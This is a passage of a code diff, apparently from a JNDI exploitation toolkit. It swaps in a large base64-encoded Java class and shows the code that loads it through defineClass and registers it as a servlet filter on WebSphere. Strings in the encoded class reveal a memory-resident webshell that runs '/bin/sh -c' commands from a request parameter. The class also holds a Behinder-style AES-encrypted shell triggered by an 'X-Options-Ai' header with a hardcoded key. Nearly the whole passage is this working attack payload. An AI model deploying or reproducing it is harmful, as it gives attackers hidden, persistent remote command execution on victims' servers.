mEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q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"; - byte[] bytes = base64Decoder.decodeBuffer(codeClass); + String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY="; + byte[] bytes = base64Decoder.decodeBuffer(codeClass); method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); @@ -82,7 +82,7 @@ public class WebsphereMemshellTemplate extends AbstractTranslet { } Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName}); - Object filter = clazz.newInstance(); + Object filter = clazz.newInstance(); filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter}); method = null; diff --git 